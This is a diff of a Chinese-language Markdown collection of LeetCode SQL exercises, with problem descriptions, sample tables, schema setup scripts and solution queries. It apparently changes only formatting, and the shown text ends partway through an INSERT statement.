 +-----------------+------------+------------+--------------+---------------+
-| Afghanistan     | Asia       | 652230     | 25500100     | 20343000      |
-| Albania         | Europe     | 28748      | 2831741      | 12960000      |
-| Algeria         | Africa     | 2381741    | 37100000     | 188681000     |
-| Andorra         | Europe     | 468        | 78115        | 3712000       |
-| Angola          | Africa     | 1246700    | 20609294     | 100990000     |
+| Afghanistan     | Asia       | 652230     | 25500100     | 20343000      |
+| Albania         | Europe     | 28748      | 2831741      | 12960000      |
+| Algeria         | Africa     | 2381741    | 37100000     | 188681000     |
+| Andorra         | Europe     | 468        | 78115        | 3712000       |
+| Angola          | Africa     | 1246700    | 20609294     | 100990000     |
 +-----------------+------------+------------+--------------+---------------+
 ```
 
-查找面积超过 3,000,000 或者人口数超过 25,000,000 的国家。
+查找面积超过 3,000,000 或者人口数超过 25,000,000 的国家。
 
 ```html
 +--------------+-------------+--------------+
-| name         | population  | area         |
+| name         | population  | area         |
 +--------------+-------------+--------------+
-| Afghanistan  | 25500100    | 652230       |
-| Algeria      | 37100000    | 2381741      |
+| Afghanistan  | 25500100    | 652230       |
+| Algeria      | 37100000    | 2381741      |
 +--------------+-------------+--------------+
 ```
 
-## SQL Schema
+## SQL Schema
 
 ```sql
-DROP TABLE
+DROP TABLE
 IF
-    EXISTS World;
-CREATE TABLE World ( NAME VARCHAR ( 255 ), continent VARCHAR ( 255 ), area INT, population INT, gdp INT );
-INSERT INTO World ( NAME, continent, area, population, gdp )
+    EXISTS World;
+CREATE TABLE World ( NAME VARCHAR ( 255 ), continent VARCHAR ( 255 ), area INT, population INT, gdp INT );
+INSERT INTO World ( NAME, continent, area, population, gdp )
 VALUES
-    ( 'Afghanistan', 'Asia', '652230', '25500100', '203430000' ),
-    ( 'Albania', 'Europe', '28748', '2831741', '129600000' ),
-    ( 'Algeria', 'Africa', '2381741', '37100000', '1886810000' ),
-    ( 'Andorra', 'Europe', '468', '78115', '37120000' ),
-    ( 'Angola', 'Africa', '1246700', '20609294', '1009900000' );
+    ( 'Afghanistan', 'Asia', '652230', '25500100', '203430000' ),
+    ( 'Albania', 'Europe', '28748', '2831741', '129600000' ),
+    ( 'Algeria', 'Africa', '2381741', '37100000', '1886810000' ),
+    ( 'Andorra', 'Europe', '468', '78115', '37120000' ),
+    ( 'Angola', 'Africa', '1246700', '20609294', '1009900000' );
 ```
 
-## Solution
+## Solution
 
 ```sql
-SELECT name,
-    population,
-    area
+SELECT name,
+    population,
+    area
 FROM
-    World
+    World
 WHERE
-    area > 3000000
-    OR population > 25000000;
+    area > 3000000
+    OR population > 25000000;
 ```
 
-# 627. Swap Salary
+# 627. Swap Salary
 
 https://leetcode.com/problems/swap-salary/description/
 
-## Description
+## Description
 
 ```html
-| id | name | sex | salary |
+| id | name | sex | salary |
 |----|------|-----|--------|
-| 1  | A    | m   | 2500   |
-| 2  | B    | f   | 1500   |
-| 3  | C    | m   | 5500   |
-| 4  | D    | f   | 500    |
+| 1  | A    | m   | 2500   |
+| 2  | B    | f   | 1500   |
+| 3  | C    | m   | 5500   |
+| 4  | D    | f   | 500    |
 ```
 
-只用一个 SQL 查询，将 sex 字段反转。
+只用一个 SQL 查询，将 sex 字段反转。
 
 ```html
-| id | name | sex | salary |
+| id | name | sex | salary |
 |----|------|-----|--------|
-| 1  | A    | f   | 2500   |
-| 2  | B    | m   | 1500   |
-| 3  | C    | f   | 5500   |
-| 4  | D    | m   | 500    |
+| 1  | A    | f   | 2500   |
+| 2  | B    | m   | 1500   |
+| 3  | C    | f   | 5500   |
+| 4  | D    | m   | 500    |
 ```
 
-## SQL Schema
+## SQL Schema
 
 ```sql
-DROP TABLE
+DROP TABLE
 IF
-    EXISTS salary;
-CREATE TABLE salary ( id INT, NAME VARCHAR ( 100 ), sex CHAR ( 1 ), salary INT );
-INSERT INTO salary ( id, NAME, sex, salary )
+    EXISTS salary;
+CREATE TABLE salary ( id INT, NAME VARCHAR ( 100 ), sex CHAR ( 1 ), salary INT );
+INSERT INTO salary ( id, NAME, sex, salary )
 VALUES
-    ( '1', 'A', 'm', '2500' ),
-    ( '2', 'B', 'f', '1500' ),
-    ( '3', 'C', 'm', '5500' ),
-    ( '4', 'D', 'f', '500' );
+    ( '1', 'A', 'm', '2500' ),
+    ( '2', 'B', 'f', '1500' ),
+    ( '3', 'C', 'm', '5500' ),
+    ( '4', 'D', 'f', '500' );
 ```
 
-## Solution
+## Solution
 
 ```sql
-UPDATE salary
-SET sex = CHAR ( ASCII(sex) ^ ASCII( 'm' ) ^ ASCII( 'f' ) );
+UPDATE salary
+SET sex = CHAR ( ASCII(sex) ^ ASCII( 'm' ) ^ ASCII( 'f' ) );
 ```
 
-# 620. Not Boring Movies
+# 620. Not Boring Movies
 
 https://leetcode.com/problems/not-boring-movies/description/
 
-## Description
+## Description
 
 
 ```html
 +---------+-----------+--------------+-----------+
-|   id    | movie     |  description |  rating   |
+|   id    | movie     |  description |  rating   |
 +---------+-----------+--------------+-----------+
-|   1     | War       |   great 3D   |   8.9     |
-|   2     | Science   |   fiction    |   8.5     |
-|   3     | irish     |   boring     |   6.2     |
-|   4     | Ice song  |   Fantacy    |   8.6     |
-|   5     | House card|   Interesting|   9.1     |
+|   1     | War       |   great 3D   |   8.9     |
+|   2     | Science   |   fiction    |   8.5     |
+|   3     | irish     |   boring     |   6.2     |
+|   4     | Ice song  |   Fantacy    |   8.6     |
+|   5     | House card|   Interesting|   9.1     |
 +---------+-----------+--------------+-----------+
 ```
 
-查找 id 为奇数，并且 description 不是 boring 的电影，按 rating 降序。
+查找 id 为奇数，并且 description 不是 boring 的电影，按 rating 降序。
 
 ```html
 +---------+-----------+--------------+-----------+
-|   id    | movie     |  description |  rating   |
+|   id    | movie     |  description |  rating   |
 +---------+-----------+--------------+-----------+
-|   5     | House card|   Interesting|   9.1     |
-|   1     | War       |   great 3D   |   8.9     |
+|   5     | House card|   Interesting|   9.1     |
+|   1     | War       |   great 3D   |   8.9     |
 +---------+-----------+--------------+-----------+
 ```
 
-## SQL Schema
+## SQL Schema
 
 ```sql
-DROP TABLE
+DROP TABLE
 IF
-    EXISTS cinema;
-CREATE TABLE cinema ( id INT, movie VARCHAR ( 255 ), description VARCHAR ( 255 ), rating FLOAT ( 2, 1 ) );
-INSERT INTO cinema ( id, movie, description, rating )
+    EXISTS cinema;
+CREATE TABLE cinema ( id INT, movie VARCHAR ( 255 ), description VARCHAR ( 255 ), rating FLOAT ( 2, 1 ) );
+INSERT INTO cinema ( id, movie, description, rating )
 VALUES
-    ( 1, 'War', 'great 3D', 8.9 ),
-    ( 2, 'Science', 'fiction', 8.5 ),
-    ( 3, 'irish', 'boring', 6.2 ),
-    ( 4, 'Ice song', 'Fantacy', 8.6 ),
-    ( 5, 'House card', 'Interesting', 9.1 );
+    ( 1, 'War', 'great 3D', 8.9 ),
+    ( 2, 'Science', 'fiction', 8.5 ),
+    ( 3, 'irish', 'boring', 6.2 ),
+    ( 4, 'Ice song', 'Fantacy', 8.6 ),
+    ( 5, 'House card', 'Interesting', 9.1 );
 ```
 
-## Solution
+## Solution
 
 ```sql
 SELECT
-    *
+    *
 FROM
-    cinema
+    cinema
 WHERE
-    id % 2 = 1
-    AND description != 'boring'
-ORDER BY
-    rating DESC;
+    id % 2 = 1
+    AND description != 'boring'
+ORDER BY
+    rating DESC;
 ```
 
-# 596. Classes More Than 5 Students
+# 596. Classes More Than 5 Students
 
 https://leetcode.com/problems/classes-more-than-5-students/description/
 
-## Description
+## Description
 
 ```html
 +---------+------------+
-| student | class      |
+| student | class      |
 +---------+------------+
-| A       | Math       |
-| B       | English    |
-| C       | Math       |
-| D       | Biology    |
-| E       | Math       |
-| F       | Computer   |
-| G       | Math       |
-| H       | Math       |
-| I       | Math       |
+| A       | Math       |
+| B       | English    |
+| C       | Math       |
+| D       | Biology    |
+| E       | Math       |
+| F       | Computer   |
+| G       | Math       |
+| H       | Math       |
+| I       | Math       |
 +---------+------------+
 ```
 
-查找有五名及以上 student 的 class。
+查找有五名及以上 student 的 class。
 
 ```html
 +---------+
-| class   |
+| class   |
 +---------+
-| Math    |
+| Math    |
 +---------+
 ```
 
-## SQL Schema
+## SQL Schema
 
 ```sql
-DROP TABLE
+DROP TABLE
 IF
-    EXISTS courses;
-CREATE TABLE courses ( student VARCHAR ( 255 ), class VARCHAR ( 255 ) );
-INSERT INTO courses ( student, class )
+    EXISTS courses;
+CREATE TABLE courses ( student VARCHAR ( 255 ), class VARCHAR ( 255 ) );
+INSERT INTO courses ( student, class )
 VALUES
-    ( 'A', 'Math' ),
-    ( 'B', 'English' ),
-    ( 'C', 'Math' ),
-    ( 'D', 'Biology' ),
-    ( 'E', 'Math' ),
-    ( 'F', 'Computer' ),
-    ( 'G', 'Math' ),
-    ( 'H', 'Math' ),
-    ( 'I', 'Math' );
+    ( 'A', 'Math' ),
+    ( 'B', 'English' ),
+    ( 'C', 'Math' ),
+    ( 'D', 'Biology' ),
+    ( 'E', 'Math' ),
+    ( 'F', 'Computer' ),
+    ( 'G', 'Math' ),
+    ( 'H', 'Math' ),
+    ( 'I', 'Math' );
 ```
 
-## Solution
+## Solution
 
 ```sql
 SELECT
-    class
+    class
 FROM
-    courses
-GROUP BY
-    class
+    courses
+GROUP BY
+    class
 HAVING
-    count( DISTINCT student ) >= 5;
+    count( DISTINCT student ) >= 5;
 ```
 
-# 182. Duplicate Emails
+# 182. Duplicate Emails
 
 https://leetcode.com/problems/duplicate-emails/description/
 
-## Description
+## Description
 
 邮件地址表：
 
 ```html
 +----+---------+
-| Id | Email   |
+| Id | Email   |
 +----+---------+
-| 1  | a@b.com |
-| 2  | c@d.com |
-| 3  | a@b.com |
+| 1  | a@b.com |
+| 2  | c@d.com |
+| 3  | a@b.com |
 +----+---------+
 ```
 
@@ -271,54 +251,54 @@ https://leetcode.com/problems/duplicate-emails/description/
 
 ```html
 +---------+
-| Email   |
+| Email   |
 +---------+
-| a@b.com |
+| a@b.com |
 +---------+
 ```
 
-## SQL Schema
+## SQL Schema
 
 ```sql
-DROP TABLE
+DROP TABLE
 IF
-    EXISTS Person;
-CREATE TABLE Person ( Id INT, Email VARCHAR ( 255 ) );
-INSERT INTO Person ( Id, Email )
+    EXISTS Person;
+CREATE TABLE Person ( Id INT, Email VARCHAR ( 255 ) );
+INSERT INTO Person ( Id, Email )
 VALUES
-    ( 1, 'a@b.com' ),
-    ( 2, 'c@d.com' ),
-    ( 3, 'a@b.com' );
+    ( 1, 'a@b.com' ),
+    ( 2, 'c@d.com' ),
+    ( 3, 'a@b.com' );
 ```
 
-## Solution
+## Solution
 
 ```sql
 SELECT
-    Email
+    Email
 FROM
-    Person
-GROUP BY
-    Email
+    Person
+GROUP BY
+    Email
 HAVING
-    COUNT( * ) >= 2;
+    COUNT( * ) >= 2;
 ```
 
-# 196. Delete Duplicate Emails
+# 196. Delete Duplicate Emails
 
 https://leetcode.com/problems/delete-duplicate-emails/description/
 
-## Description
+## Description
 
 邮件地址表：
 
 ```html
 +----+---------+
-| Id | Email   |
+| Id | Email   |
 +----+---------+
-| 1  | a@b.com |
-| 2  | c@d.com |
-| 3  | a@b.com |
+| 1  | a@b.com |
+| 2  | c@d.com |
+| 3  | a@b.com |
 +----+---------+
 ```
 
@@ -326,29 +306,29 @@ https://leetcode.com/problems/delete-duplicate-emails/description/
 
 ```html
 +----+------------------+
-| Id | Email            |
+| Id | Email            |
 +----+------------------+
-| 1  | john@example.com |
-| 2  | bob@example.com  |
+| 1  | john@example.com |
+| 2  | bob@example.com  |
 +----+------------------+
 ```
 
-## SQL Schema
+## SQL Schema
 
-与 182 相同。
+与 182 相同。
 
-## Solution
+## Solution
 
 连接：
 
 ```sql
-DELETE p1
+DELETE p1
 FROM
-    Person p1,
-    Person p2
+    Person p1,
+    Person p2
 WHERE
-    p1.Email = p2.Email
-    AND p1.Id > p2.Id
+    p1.Email = p2.Email
+    AND p1.Id > p2.Id
 ```
 
 子查询：
@@ -356,168 +336,168 @@ WHERE
 ```sql
 DELETE
 FROM
-    Person
+    Person
 WHERE
-    id NOT IN ( SELECT id FROM ( SELECT min( id ) AS id FROM Person GROUP BY email ) AS m );
+    id NOT IN ( SELECT id FROM ( SELECT min( id ) AS id FROM Person GROUP BY email ) AS m );
 ```
 
-应该注意的是上述解法额外嵌套了一个 SELECT 语句，如果不这么做，会出现错误：You can't specify target table 'Person' for update in FROM clause。以下演示了这种错误解法。
+应该注意的是上述解法额外嵌套了一个 SELECT 语句，如果不这么做，会出现错误：You can't specify target table 'Person' for update in FROM clause。以下演示了这种错误解法。
 
 ```sql
 DELETE
 FROM
-    Person
+    Person
 WHERE
-    id NOT IN ( SELECT min( id ) AS id FROM Person GROUP BY email );
+    id NOT IN ( SELECT min( id ) AS id FROM Person GROUP BY email );
 ```
 
-参考：[pMySQL Error 1093 - Can't specify target table for update in FROM clause](https://stackoverflow.com/questions/45494/mysql-error-1093-cant-specify-target-table-for-update-in-from-clause)
+参考：[pMySQL Error 1093 - Can't specify target table for update in FROM clause](https://stackoverflow.com/questions/45494/mysql-error-1093-cant-specify-target-table-for-update-in-from-clause)
 
-# 175. Combine Two Tables
+# 175. Combine Two Tables
 
 https://leetcode.com/problems/combine-two-tables/description/
 
-## Description
+## Description
 
-Person 表：
+Person 表：
 
 ```html
 +-------------+---------+
-| Column Name | Type    |
+| Column Name | Type    |
 +-------------+---------+
-| PersonId    | int     |
-| FirstName   | varchar |
-| LastName    | varchar |
+| PersonId    | int     |
+| FirstName   | varchar |
+| LastName    | varchar |
 +-------------+---------+
-PersonId is the primary key column for this table.
+PersonId is the primary key column for this table.
 ```
 
-Address 表：
+Address 表：
 
 ```html
 +-------------+---------+
-| Column Name | Type    |
+| Column Name | Type    |
 +-------------+---------+
-| AddressId   | int     |
-| PersonId    | int     |
-| City        | varchar |
-| State       | varchar |
+| AddressId   | int     |
+| PersonId    | int     |
+| City        | varchar |
+| State       | varchar |
 +-------------+---------+
-AddressId is the primary key column for this table.
+AddressId is the primary key column for this table.
 ```
 
-查找 FirstName, LastName, City, State 数据，而不管一个用户有没有填地址信息。
+查找 FirstName, LastName, City, State 数据，而不管一个用户有没有填地址信息。
 
-## SQL Schema
+## SQL Schema
 
 ```sql
-DROP TABLE
+DROP TABLE
 IF
-    EXISTS Person;
-CREATE TABLE Person ( PersonId INT, FirstName VARCHAR ( 255 ), LastName VARCHAR ( 255 ) );
-DROP TABLE
+    EXISTS Person;
+CREATE TABLE Person ( PersonId INT, FirstName VARCHAR ( 255 ), LastName VARCHAR ( 255 ) );
+DROP TABLE
 IF
-    EXISTS Address;
-CREATE TABLE Address ( AddressId INT, PersonId INT, City VARCHAR ( 255 ), State VARCHAR ( 255 ) );
-INSERT INTO Person ( PersonId, LastName, FirstName )
+    EXISTS Address;
+CREATE TABLE Address ( AddressId INT, PersonId INT, City VARCHAR ( 255 ), State VARCHAR ( 255 ) );
+INSERT INTO Person ( PersonId, LastName, FirstName )
 VALUES
-    ( 1, 'Wang', 'Allen' );
-INSERT INTO Address ( AddressId, PersonId, City, State )
+    ( 1, 'Wang', 'Allen' );
+INSERT INTO Address ( AddressId, PersonId, City, State )
 VALUES
-    ( 1, 2, 'New York City', 'New York' );
+    ( 1, 2, 'New York City', 'New York' );
 ```
 
-## Solution
+## Solution
 
 使用左外连接。
 
 ```sql
 SELECT
-    FirstName,
-    LastName,
-    City,
-    State
+    FirstName,
+    LastName,
+    City,
+    State
 FROM
-    Person P
-    LEFT JOIN Address A
-    ON P.PersonId = A.PersonId;
+    Person P
+    LEFT JOIN Address A
+    ON P.PersonId = A.PersonId;
 ```
 
-# 181. Employees Earning More Than Their Managers
+# 181. Employees Earning More Than Their Managers
 
 https://leetcode.com/problems/employees-earning-more-than-their-managers/description/
 
-## Description
+## Description
 
-Employee 表：
+Employee 表：
 
 ```html
 +----+-------+--------+-----------+
-| Id | Name  | Salary | ManagerId |
+| Id | Name  | Salary | ManagerId |
 +----+-------+--------+-----------+
-| 1  | Joe   | 70000  | 3         |
-| 2  | Henry | 80000  | 4         |
-| 3  | Sam   | 60000  | NULL      |
-| 4  | Max   | 90000  | NULL      |
+| 1  | Joe   | 70000  | 3         |
+| 2  | Henry | 80000  | 4         |
+| 3  | Sam   | 60000  | NULL      |
+| 4  | Max   | 90000  | NULL      |
 +----+-------+--------+-----------+
 ```
 
 查找薪资大于其经理薪资的员工信息。
 
-## SQL Schema
+## SQL Schema
 
 ```sql
-DROP TABLE
+DROP TABLE
 IF
-    EXISTS Employee;
-CREATE TABLE Employee ( Id INT, NAME VARCHAR ( 255 ), Salary INT, ManagerId INT );
-INSERT INTO Employee ( Id, NAME, Salary, ManagerId )
+    EXISTS Employee;
+CREATE TABLE Employee ( Id INT, NAME VARCHAR ( 255 ), Salary INT, ManagerId INT );
+INSERT INTO Employee ( Id, NAME, Salary, ManagerId )
 VALUES
-    ( 1, 'Joe', 70000, 3 ),
-    ( 2, 'Henry', 80000, 4 ),
-    ( 3, 'Sam', 60000, NULL ),
-    ( 4, 'Max', 90000, NULL );
+    ( 1, 'Joe', 70000, 3 ),
+    ( 2, 'Henry', 80000, 4 ),
+    ( 3, 'Sam', 60000, NULL ),
+    ( 4, 'Max', 90000, NULL );
 ```
 
-## Solution
+## Solution
 
 ```sql
 SELECT
-    E1.NAME AS Employee
+    E1.NAME AS Employee
 FROM
-    Employee E1
-    INNER JOIN Employee E2
-    ON E1.ManagerId = E2.Id
-    AND E1.Salary > E2.Salary;
+    Employee E1
+    INNER JOIN Employee E2
+    ON E1.ManagerId = E2.Id
+    AND E1.Salary > E2.Salary;
 ```
 
-# 183. Customers Who Never Order
+# 183. Customers Who Never Order
 
 https://leetcode.com/problems/customers-who-never-order/description/
 
-## Description
+## Description
 
-Curstomers 表：
+Curstomers 表：
 
 ```html
 +----+-------+
-| Id | Name  |
+| Id | Name  |
 +----+-------+
-| 1  | Joe   |
-| 2  | Henry |
-| 3  | Sam   |
-| 4  | Max   |
+| 1  | Joe   |
+| 2  | Henry |
+| 3  | Sam   |
+| 4  | Max   |
 +----+-------+
 ```
 
-Orders 表：
+Orders 表：
 
 ```html
 +----+------------+
-| Id | CustomerId |
+| Id | CustomerId |
 +----+------------+
-| 1  | 3          |
-| 2  | 1          |
+| 1  | 3          |
+| 2  | 1          |
 +----+------------+
 ```
 
@@ -525,156 +505,156 @@ Orders 表：
 
 ```html
 +-----------+
-| Customers |
+| Customers |
 +-----------+
-| Henry     |
-| Max       |
+| Henry     |
+| Max       |
 +-----------+
 ```
 
-## SQL Schema
+## SQL Schema
 
 ```sql
-DROP TABLE
+DROP TABLE
 IF
-    EXISTS Customers;
-CREATE TABLE Customers ( Id INT, NAME VARCHAR ( 255 ) );
-DROP TABLE
+    EXISTS Customers;
+CREATE TABLE Customers ( Id INT, NAME VARCHAR ( 255 ) );
+DROP TABLE
 IF
-    EXISTS Orders;
-CREATE TABLE Orders ( Id INT, CustomerId INT );
-INSERT INTO Customers ( Id, NAME )
+    EXISTS Orders;
+CREATE TABLE Orders ( Id INT, CustomerId INT );
+INSERT INTO Customers ( Id, NAME )
 VALUES
-    ( 1, 'Joe' ),
-    ( 2, 'Henry' ),
-    ( 3, 'Sam' ),
-    ( 4, 'Max' );
-INSERT INTO Orders ( Id, CustomerId )
+    ( 1, 'Joe' ),
+    ( 2, 'Henry' ),
+    ( 3, 'Sam' ),
+    ( 4, 'Max' );
+INSERT INTO Orders ( Id, CustomerId )
 VALUES
-    ( 1, 3 ),
-    ( 2, 1 );
+    ( 1, 3 ),
+    ( 2, 1 );
 ```
 
-## Solution
+## Solution
 
 左外链接
 
 ```sql
 SELECT
-    C.Name AS Customers
+    C.Name AS Customers
 FROM
-    Customers C
-    LEFT JOIN Orders O
-    ON C.Id = O.CustomerId
+    Customers C
+    LEFT JOIN Orders O
+    ON C.Id = O.CustomerId
 WHERE
-    O.CustomerId IS NULL;
+    O.CustomerId IS NULL;
 ```
 
 子查询
 
 ```sql
 SELECT
-    Name AS Customers
+    Name AS Customers
 FROM
-    Customers
+    Customers
 WHERE
-    Id NOT IN ( SELECT CustomerId FROM Orders );
+    Id NOT IN ( SELECT CustomerId FROM Orders );
 ```
 
-# 184. Department Highest Salary
+# 184. Department Highest Salary
 
 https://leetcode.com/problems/department-highest-salary/description/
 
-## Description
+## Description
 
-Employee 表：
+Employee 表：
 
 ```html
 +----+-------+--------+--------------+
-| Id | Name  | Salary | DepartmentId |
+| Id | Name  | Salary | DepartmentId |
 +----+-------+--------+--------------+
-| 1  | Joe   | 70000  | 1            |
-| 2  | Henry | 80000  | 2            |
-| 3  | Sam   | 60000  | 2            |
-| 4  | Max   | 90000  | 1            |
+| 1  | Joe   | 70000  | 1            |
+| 2  | Henry | 80000  | 2            |
+| 3  | Sam   | 60000  | 2            |
+| 4  | Max   | 90000  | 1            |
 +----+-------+--------+--------------+
 ```
 
-Department 表：
+Department 表：
 
 ```html
 +----+----------+
-| Id | Name     |
+| Id | Name     |
 +----+----------+
-| 1  | IT       |
-| 2  | Sales    |
+| 1  | IT       |
+| 2  | Sales    |
 +----+----------+
 ```
 
-查找一个 Department 中收入最高者的信息：
+查找一个 Department 中收入最高者的信息：
 
 ```html
 +------------+----------+--------+
-| Department | Employee | Salary |
+| Department | Employee | Salary |
 +------------+----------+--------+
-| IT         | Max      | 90000  |
-| Sales      | Henry    | 80000  |
+| IT         | Max      | 90000  |
+| Sales      | Henry    | 80000  |
 +------------+----------+--------+
 ```
 
-## SQL Schema
+## SQL Schema
 
 ```sql
-DROP TABLE IF EXISTS Employee;
-CREATE TABLE Employee ( Id INT, NAME VARCHAR ( 255 ), Salary INT, DepartmentId INT );
-DROP TABLE IF EXISTS Department;
-CREATE TABLE Department ( Id INT, NAME VARCHAR ( 255 ) );
-INSERT INTO Employee ( Id, NAME, Salary, DepartmentId )
+DROP TABLE IF EXISTS Employee;
+CREATE TABLE Employee ( Id INT, NAME VARCHAR ( 255 ), Salary INT, DepartmentId INT );
+DROP TABLE IF EXISTS Department;
+CREATE TABLE Department ( Id INT, NAME VARCHAR ( 255 ) );
+INSERT INTO Employee ( Id, NAME, Salary, DepartmentId )
 VALUES
-    ( 1, 'Joe', 70000, 1 ),
-    ( 2, 'Henry', 80000, 2 ),
-    ( 3, 'Sam', 60000, 2 ),
-    ( 4, 'Max', 90000, 1 );
-INSERT INTO Department ( Id, NAME )
+    ( 1, 'Joe', 70000, 1 ),
+    ( 2, 'Henry', 80000, 2 ),
+    ( 3, 'Sam', 60000, 2 ),
+    ( 4, 'Max', 90000, 1 );
+INSERT INTO Department ( Id, NAME )
 VALUES
-    ( 1, 'IT' ),
-    ( 2, 'Sales' );
+    ( 1, 'IT' ),
+    ( 2, 'Sales' );
 ```
 
-## Solution
+## Solution
 
-创建一个临时表，包含了部门员工的最大薪资。可以对部门进行分组，然后使用 MAX() 汇总函数取得最大薪资。
+创建一个临时表，包含了部门员工的最大薪资。可以对部门进行分组，然后使用 MAX() 汇总函数取得最大薪资。
 
 之后使用连接找到一个部门中薪资等于临时表中最大薪资的员工。
 
 ```sql
 SELECT
-    D.NAME Department,
-    E.NAME Employee,
-    E.Salary
+    D.NAME Department,
+    E.NAME Employee,
+    E.Salary
 FROM
-    Employee E,
-    Department D,
-    ( SELECT DepartmentId, MAX( Salary ) Salary FROM Employee GROUP BY DepartmentId ) M
+    Employee E,
+    Department D,
+    ( SELECT DepartmentId, MAX( Salary ) Salary FROM Employee GROUP BY DepartmentId ) M
 WHERE
-    E.DepartmentId = D.Id
-    AND E.DepartmentId = M.DepartmentId
-    AND E.Salary = M.Salary;
+    E.DepartmentId = D.Id
+    AND E.DepartmentId = M.DepartmentId
+    AND E.Salary = M.Salary;
 ```
 
-# 176. Second Highest Salary
+# 176. Second Highest Salary
 
 https://leetcode.com/problems/second-highest-salary/description/
 
-## Description
+## Description
 
 ```html
 +----+--------+
-| Id | Salary |
+| Id | Salary |
 +----+--------+
-| 1  | 100    |
-| 2  | 200    |
-| 3  | 300    |
+| 1  | 100    |
+| 2  | 200    |
+| 3  | 300    |
 +----+--------+
 ```
 
@@ -682,76 +662,76 @@ https://leetcode.com/problems/second-highest-salary/description/
 
 ```html
 +---------------------+
-| SecondHighestSalary |
+| SecondHighestSalary |
 +---------------------+
-| 200                 |
+| 200                 |
 +---------------------+
 ```
 
-没有找到返回 null 而不是不返回数据。
+没有找到返回 null 而不是不返回数据。
 
-## SQL Schema
+## SQL Schema
 
 ```sql
-DROP TABLE
+DROP TABLE
 IF
-    EXISTS Employee;
-CREATE TABLE Employee ( Id INT, Salary INT );
-INSERT INTO Employee ( Id, Salary )
+    EXISTS Employee;
+CREATE TABLE Employee ( Id INT, Salary INT );
+INSERT INTO Employee ( Id, Salary )
 VALUES
-    ( 1, 100 ),
-    ( 2, 200 ),
-    ( 3, 300 );
+    ( 1, 100 ),
+    ( 2, 200 ),
+    ( 3, 300 );
 ```
 
-## Solution
+## Solution
 
-为了在没有查找到数据时返回 null，需要在查询结果外面再套一层 SELECT。
+为了在没有查找到数据时返回 null，需要在查询结果外面再套一层 SELECT。
 
 ```sql
 SELECT
-    ( SELECT DISTINCT Salary FROM Employee ORDER BY Salary DESC LIMIT 1, 1 ) SecondHighestSalary;
+    ( SELECT DISTINCT Salary FROM Employee ORDER BY Salary DESC LIMIT 1, 1 ) SecondHighestSalary;
 ```
 
-# 177. Nth Highest Salary
+# 177. Nth Highest Salary
 
-## Description
+## Description
 
-查找工资第 N 高的员工。
+查找工资第 N 高的员工。
 
-## SQL Schema
+## SQL Schema
 
-同 176。
+同 176。
 
-## Solution
+## Solution
 
 ```sql
-CREATE FUNCTION getNthHighestSalary ( N INT ) RETURNS INT BEGIN
+CREATE FUNCTION getNthHighestSalary ( N INT ) RETURNS INT BEGIN
 
-SET N = N - 1;
-RETURN ( SELECT ( SELECT DISTINCT Salary FROM Employee ORDER BY Salary DESC LIMIT N, 1 ) );
+SET N = N - 1;
+RETURN ( SELECT ( SELECT DISTINCT Salary FROM Employee ORDER BY Salary DESC LIMIT N, 1 ) );
 
 END
 ```
 
-# 178. Rank Scores
+# 178. Rank Scores
 
 https://leetcode.com/problems/rank-scores/description/
 
-## Description
+## Description
 
 得分表：
 
 ```html
 +----+-------+
-| Id | Score |
+| Id | Score |
 +----+-------+
-| 1  | 3.50  |
-| 2  | 3.65  |
-| 3  | 4.00  |
-| 4  | 3.85  |
-| 5  | 4.00  |
-| 6  | 3.65  |
+| 1  | 3.50  |
+| 2  | 3.65  |
+| 3  | 4.00  |
+| 4  | 3.85  |
+| 5  | 4.00  |
+| 6  | 3.65  |
 +----+-------+
 ```
 
@@ -759,69 +739,69 @@ https://leetcode.com/problems/rank-scores/description/
 
 ```html
 +-------+------+
-| Score | Rank |
+| Score | Rank |
 +-------+------+
-| 4.00  | 1    |
-| 4.00  | 1    |
-| 3.85  | 2    |
-| 3.65  | 3    |
-| 3.65  | 3    |
-| 3.50  | 4    |
+| 4.00  | 1    |
+| 4.00  | 1    |
+| 3.85  | 2    |
+| 3.65  | 3    |
+| 3.65  | 3    |
+| 3.50  | 4    |
 +-------+------+
 ```
 
-## SQL Schema
+## SQL Schema
 
 ```sql
-DROP TABLE
+DROP TABLE
 IF
-    EXISTS Scores;
-CREATE TABLE Scores ( Id INT, Score DECIMAL ( 3, 2 ) );
-INSERT INTO Scores ( Id, Score )
+    EXISTS Scores;
+CREATE TABLE Scores ( Id INT, Score DECIMAL ( 3, 2 ) );
+INSERT INTO Scores ( Id, Score )
 VALUES
-    ( 1, 3.5 ),
-    ( 2, 3.65 ),
-    ( 3, 4.0 ),
-    ( 4, 3.85 ),
-    ( 5, 4.0 ),
-    ( 6, 3.65 );
+    ( 1, 3.5 ),
+    ( 2, 3.65 ),
+    ( 3, 4.0 ),
+    ( 4, 3.85 ),
+    ( 5, 4.0 ),
+    ( 6, 3.65 );
 ```
 
-## Solution
+## Solution
 
 ```sql
 SELECT
-    S1.score,
-    COUNT( DISTINCT S2.score ) Rank
+    S1.score,
+    COUNT( DISTINCT S2.score ) Rank
 FROM
-    Scores S1
-    INNER JOIN Scores S2
-    ON S1.score <= S2.score
-GROUP BY
-    S1.id
-ORDER BY
-    S1.score DESC;
+    Scores S1
+    INNER JOIN Scores S2
+    ON S1.score <= S2.score
+GROUP BY
+    S1.id
+ORDER BY
+    S1.score DESC;
 ```
 
-# 180. Consecutive Numbers
+# 180. Consecutive Numbers
 
 https://leetcode.com/problems/consecutive-numbers/description/
 
-## Description
+## Description
 
 数字表：
 
 ```html
 +----+-----+
-| Id | Num |
+| Id | Num |
 +----+-----+
-| 1  |  1  |
-| 2  |  1  |
-| 3  |  1  |
-| 4  |  2  |
-| 5  |  1  |
-| 6  |  2  |
-| 7  |  2  |
+| 1  |  1  |
+| 2  |  1  |
+| 3  |  1  |
+| 4  |  2  |
+| 5  |  1  |
+| 6  |  2  |
+| 7  |  2  |
 +----+-----+
 ```
 
@@ -829,62 +809,62 @@ https://leetcode.com/problems/consecutive-numbers/description/
 
 ```html
 +-----------------+
-| ConsecutiveNums |
+| ConsecutiveNums |
 +-----------------+
-| 1               |
+| 1               |
 +-----------------+
 ```
 
-## SQL Schema
+## SQL Schema
 
 ```sql
-DROP TABLE
+DROP TABLE
 IF
-    EXISTS LOGS;
-CREATE TABLE LOGS ( Id INT, Num INT );
-INSERT INTO LOGS ( Id, Num )
+    EXISTS LOGS;
+CREATE TABLE LOGS ( Id INT, Num INT );
+INSERT INTO LOGS ( Id, Num )
 VALUES
-    ( 1, 1 ),
-    ( 2, 1 ),
-    ( 3, 1 ),
-    ( 4, 2 ),
-    ( 5, 1 ),
-    ( 6, 2 ),
-    ( 7, 2 );
+    ( 1, 1 ),
+    ( 2, 1 ),
